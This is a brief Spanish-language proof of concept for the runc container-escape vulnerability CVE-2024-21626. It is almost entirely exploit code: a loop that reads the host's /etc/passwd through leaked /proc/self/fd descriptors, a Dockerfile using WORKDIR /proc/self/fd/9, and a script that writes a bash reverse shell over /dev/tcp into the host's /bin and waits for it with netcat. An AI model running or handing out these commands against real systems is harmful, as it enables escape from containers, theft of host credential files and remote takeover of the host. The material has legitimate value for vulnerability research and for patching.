
Prueba de concepto
POC
https://docs.docker.com/engine/install/ubuntu/
Descarga una versión vulnerable (runc 1.1.11 o anterior) desde el repositorio de GitHub de runc:
https://github.com/opencontainers/runc/releases
Elige runc.amd64 (requisito)

#! /bin/bash
for i in {4..20}; do
docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
/proc/self/cwd/../../../etc/passwd"
done

FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
ADD ./poc.sh /poc.sh
WORKDIR /proc/self/fd/9
docker build . -t name_of_container
#!/bin/bash
ip=$(hostname -I | awk '{print $1}')
port=1337
cat > /proc/self/cwd/../../../bin/bash.copy << EOF
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
EOF
# listen and wait for reverse shell
nc -lvvp 1337
docker run -it --rm cve2024 bash /poc.sh

/proc/self/cwd/../../../bin/
chmod +x bash.copy
./bash.copy

https://ethicalhacking.uk/cracking-containers-understanding-cve-2024-21626-in-runc/#gsc.tab=0